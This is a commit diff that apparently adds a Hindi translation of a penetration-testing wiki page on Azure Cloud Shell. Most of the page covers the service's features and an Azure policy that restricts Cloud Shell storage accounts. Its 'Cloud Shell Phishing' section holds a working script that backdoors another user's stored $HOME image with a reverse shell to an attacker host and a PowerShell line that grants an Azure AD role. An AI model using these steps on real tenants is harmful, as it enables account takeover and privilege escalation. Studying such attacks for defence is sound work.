Translated ['src/pentesting-cloud/azure-security/az-services/az-cloud-sh

This commit is contained in:
Translator
2025-02-21 13:57:32 +00:00
parent 88e8e92144
commit d4532efba6

View File

@@ -6,23 +6,111 @@
**Azure Cloud Shell** एक इंटरैक्टिव, प्रमाणित, ब्राउज़र-एक्सेसिबल टर्मिनल है जिसे Azure संसाधनों का प्रबंधन करने के लिए डिज़ाइन किया गया है, जो Bash या PowerShell के साथ काम करने की लचीलापन प्रदान करता है। यह एक अस्थायी, प्रति-सेशन होस्ट पर चलता है जो 20 मिनट की निष्क्रियता के बाद टाइमआउट हो जाता है, जबकि $HOME स्थान में 5-GB फ़ाइल शेयर का उपयोग करके फ़ाइलों को बनाए रखता है। Cloud Shell को कई बिंदुओं के माध्यम से एक्सेस किया जा सकता है, जिसमें Azure पोर्टल, shell.azure.com, Azure CLI और PowerShell दस्तावेज़, Azure मोबाइल ऐप, और Visual Studio Code Azure खाता एक्सटेंशन शामिल हैं।
इस सेवा के लिए कोई अनुमतियाँ निर्धारित नहीं की गई हैं, इसलिए कोई विशेषाधिकार वृद्धि तकनीकें नहीं हैं। इसके अलावा, कोई प्रकार की गणना नहीं है।
इस सेवा के लिए कोई अनुमतियाँ निर्धारित नहीं की गई हैं, इसलिए कोई विशेषाधिकार वृद्धि तकनीकें नहीं हैं। साथ ही, कोई प्रकार की गणना नहीं है।
### Key Features
**Environment**: Azure Cloud Shell एक सुरक्षित वातावरण प्रदान करता है जो Azure Linux पर चलता है, जो Microsoft का अपना Linux वितरण हैिसे क्लाउड अवसंरचना के लिए डिज़ाइन किया गया है। Azure Linux रिपॉजिटरी में शामिल सभी पैकेज Microsoft द्वारा आंतरिक रूप से संकलित किए गए हैं ताकि सप्लाई चेन हमलों से सुरक्षा की जा सके।
**Preinstalled Tools**: Cloud Shell में Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git, और vim, nano, और emacs जैसे टेक्स्ट संपादकों जैसे प्रीइंस्टॉल्ड टूल्स का एक व्यापक सेट शामिल है। ये टूल उपयोग के लिए तैयार हैं। स्थापित पैकेज और मॉड्यूल की सूची के लिए आप "Get-Module -ListAvailable", "tdnf list" और "pip3 list" का उपयोग कर सकते हैं।
**$HOME persistence**: जब आप पहली बार Azure Cloud Shell शुरू करते हैं, तो आप इसे एक जुड़े स्टोरेज खात के साथ या बिना उपयोग कर सकते हैं। स्टोरेज को न जोड़ने का विकल्प एक अस्थायी सत्र बनाता है जहां सत्र समाप्त होने पर फ़ाइलें हटा दी जाती हैं। सत्रों के बीच फ़ाइलों को बनाए रखने के लिए, एक स्टोरेज खाता माउंट करें, जो स्वचालित रूप से **$HOME\clouddrive** के रूप में जुड़ता है, आपके **$HOME** निर्देशिका को Azure फ़ाइल शेयर में **.img** फ़ाइल के रूप में सहेजा जाता है। हालाँकि, $HOME के बाहर फ़ाइलें और मशीन की स्थितियाँ बनाए नहीं रखी जाती हैं। SSH कुंजियों जैसे रहस्यों को सुरक्षित रूप से संग्रहीत करने के लिए, Azure Key Vault का उपयोग करें।
**Azure drive (Azure:)**: Azure Cloud Shell में PowerShell Azure ड्राइव (Azure:) शामिल है, फ़ाइल सिस्टम-जैसे कमांड का उपयोग करके Compute, Network, और Storage जैसे Azure संसाधनों के आसान नेविगेशन की अनुमति देता है। Azure ड्राइव पर स्विच करने के लिए cd Azure: का उपयोग करें और अपने होम निर्देशिका पर लौटने के लिए cd ~ का उपयोग करें। आप किसी भी ड्राइव से संसाधनों का प्रबंधन करने के लिए Azure PowerShell cmdlets का उपयोग कर सकते हैं।
**Custom Tool Installation**: उपयोगकर्ता जो Cloud Shell को एक स्टोरेज खाते के साथ कॉन्फ़िगर करहैं, वे अतिरिक्त टूल स्थापित कर सकते हैं जिन्हें रूट अनुमतियों की आवश्यकता नहीं होती है। यह सुविधा Cloud Shell वातावरण के आगे अनुकूलन की अनुमति देती है, जिससे उपयोगकर्ता अपनी सेटअप को अपनी विशिष्ट आवश्यकताओं के अनुसार अनुकूलित कर सकते हैं।
- **Preinstalled Tools**: Cloud Shell में Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git, और vim, nano, और emacsसे टेक्स्ट संपादकों जैसे प्रीइंस्टॉल्ड टूल्स का एक व्यापक सेट शामिल है। ये टूल उपयोग के लिए तैयार हैं। स्थापित पैकेज और मॉड्यूल की सूची के लिए आप "Get-Module -ListAvailable", "tdnf list" और "pip3 list" का उपयोग कर सकते हैं।
- **Azure drive (Azure:)**: Azure Cloud Shell में PowerShell Azure ड्राइव (Azure:) शामिल है, जो Compute, Network, और Storage जैसे Azure संसाधनों की आसान नेविगेशन की अनुमति देता है, फाइल सिस्टम-जैसे कमांड का उपयोग करके। Azure ड्राइव पर स्विच करने के लिए cd Azure: का उपयोग करें और अपने होम डायरेक्टरी पर वापस जाने के लिए cd ~ का उपयोग करें। आप किसी भी ड्राइव से संसाधनों का प्रबंधन करने के लिए Azure PowerShell cmdlets का उपयोग कर सकते हैं।
- **Custom Tool Installation**: उपयोगकर्ता जो Cloud Shell को एक स्टोरेज खात के साथ कॉन्फ़िगर करते हैं, वे अतिरिक्त टूल स्थापित कर सकते हैं जिन्हें रूट अनुमतियों की आवश्यकता नहीं होती है। यह सुविधा Cloud Shell वातावरण के आगे के अनुकूलन की अनुमति देती है, जिससे उपयोगकर्ता अपनी सेटअप को अपनी विशिष्ट आवश्यकताओं के अनुसार अनुकूलित कर सकते हैं।
- **$HOME persistence**: जब आप पहली बार Azure Cloud Shell शुरू करते है, आप इसे एक जुड़े स्टोरेज खाते के साथ या बिना उपयोग कर सकते हैं।
- स्टोरेज को संलग्न न करसे एक अस्थायी सत्र बनता है जहां फ़ाइलें सत्र समाप्त होने पर हटा दी जाती हैं।
- सत्रों के बीच फ़ाइलों को बनाए रखने के लिए, आपको **एक स्टोरेज खाता माउंट करने का विकल्प** दिया जाता है, जो स्वचालित रूप से `$HOME\clouddrive` के रूप में संलग्न होता है, आपके `$HOME` डायरेक्टरी को **एक फ़ाइल शेयर में .img फ़ाइल के रूप में सहेजा जाता है।**
## References
### Cloud Shell Phishing
यदि एक हमलावर एक स्टोरेज खाते में अन्य उपयोगकर्ताओं की छवियाँ पाता है जिसमें उसे लिखने और पढ़ने की अनुमति है, तो वह छवि को डाउनलोड कर सकेगा, **इसमें एक बैश और PS बैकडोर जोड़ सकेगा**, और इसे स्टोरेज खाते में वापस अपलोड कर सकेगा ताकि अगली बार जब उपयोगकर्ता शेल का उपयोग करे, तो **कमांड स्वचालित रूप से निष्पादित होंगी**
- **Download, backdoor and upload the image:**
```bash
# Download image
mkdir /tmp/phishing_img
az storage file download-batch -d /tmp/phishing_img --account-name <acc-name>
# Mount image
cd /tmp/phishing_img/.cloudconsole
mkdir /tmp/cloudpoison
sudo mount acc_username.img /tmp/cloudpoison
cd /tmp/cloudpoison
sudo mkdir .config
sudo mkdir .config/PowerShell
sudo touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
sudo chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1
# Bash backdoor
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc
# PS backdoor
echo "Connect-AzureAD; Add-AzureADDirectoryRoleMember -ObjectId 1246bcfd-42dc-4bb7-a86d-3637ca422b21 -RefObjectId 1D8B2447-8318-41E5-B365-CB7275862F8A" >> .config/PowerShell/Microsoft.PowerShell_profile.ps1
cd /tmp
sudo umount /tmp/cloudpoison
# Upload image
az storage file upload --account-name <acc-name> --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img"
```
- **फिर, उपयोगकर्ता को https://shell.azure.com/ पर पहुँचने के लिए फ़िश करें।**
### क्लाउड शेल स्वचालित स्टोरेज खातों को खोजें और प्रतिबंधित करें
क्लाउड शेल द्वारा बनाए गए स्टोरेज खातों को **`ms-resource-usage:azure-cloud-shell`** के साथ टैग किया गया है। इस टैग के साथ संसाधन बनाने से रोकने के लिए एक Azure संसाधन नीति बनाना संभव है।
टैग द्वारा क्लाउड शेल द्वारा बनाए गए सभी स्टोरेज खातों को खोजें:
```bash
az storage account list --output json | jq '.[] | select(.tags["ms-resource-usage"]=="azure-cloud-shell")'
```
क्लाउड शेल स्टोरेज के लिए टैग के आधार पर स्वचालित स्टोरेज खातों के निर्माण को रोकने के लिए नीति:
```json
{
displayName: "Restrict cloud shell storage account creation",
description: "Storage accounts that you create in Cloud Shell are tagged with ms-resource-usage:azure-cloud-shell. If you want to disallow users from creating storage accounts in Cloud Shell, create an Azure resource policy for tags that is triggered by this specific tag. https://learn.microsoft.com/en-us/azure/cloud-shell/persisting-shell-storage#restrict-resource-creation-with-an-azure-resource-policy",
metadata: {
category: "Storage",
version: "1.0.0"
},
mode: "All",
parameters: {
effect: {
type: "String",
metadata: {
displayName: "Effect",
description: "Deny, Audit or Disabled the execution of the Policy"
},
allowedValues: [
"Deny",
"Audit",
"Disabled"
],
defaultValue: "Audit"
}
},
policyRule: {
if: {
allOf: [
{
field: "type",
equals: "Microsoft.Storage/storageAccounts"
},
{
field: "tags['ms-resource-usage']",
equals: "azure-cloud-shell"
}
]
},
then: {
effect: "[parameters('effect')]"
}
}
}
```
## संदर्भ
- [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
- [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
- [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)
## Persistence
## स्थिरता
{{#ref}}
../az-persistence/az-cloud-shell-persistence.md